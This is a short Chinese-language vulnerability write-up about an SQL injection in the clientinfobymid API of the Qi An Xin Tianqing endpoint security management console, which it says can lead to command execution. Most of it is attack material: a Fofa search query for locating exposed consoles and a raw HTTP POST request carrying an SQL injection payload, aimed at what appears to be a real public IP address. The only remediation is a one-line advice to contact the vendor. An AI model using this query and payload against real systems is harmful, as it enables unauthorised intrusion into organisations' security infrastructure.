# 天擎终端安全管理系统clientinfobymid方法SQL注入导致命令执行漏洞

## 漏洞描述

奇安信天擎终端安全管理系统是面向政企单位推出的一体化终端安全产品解决方案。该产品集防病毒、终端安全管控、终端准入、终端审计、外设管控、EDR等功能于一体，兼容不同操作系统和计算平台，帮助客户实现平台一体化、功能一体化、数据一体化的终端安全立体防护。奇安信天擎终端安全管理系统控制台存在SQL注入漏洞。攻击者除了可以利用 SQL 注入漏洞获取数据库中的信息（例如，管理员后台密码、站点的用户个人信息）之外，甚至在高权限的情况可向服务器中写入木马，进一步获取服务器系统权限

## 漏洞复现

1. Fofa

banner="QiAnXin web server" || banner="360 web server" || body="appid\":\"skylar6" || body="/task/index/detail?id={item.id}" || body="已过期或者未授权，购买请联系4008-136-360"



1. 部分界面如下



1. 验证如下

POST /api/terminal/clientinfobymid HTTP/1.1

Host: 124.116.40.170:8443

Content-Type: application/x-www-form-urlencoded

User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10\_14\_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15

{"mids":{"1 ,:mid\_1);select 'aaa' -- aa":"","1":1}}



## 修复建议

1、产商已发布安全版本，请联系产商进行修复。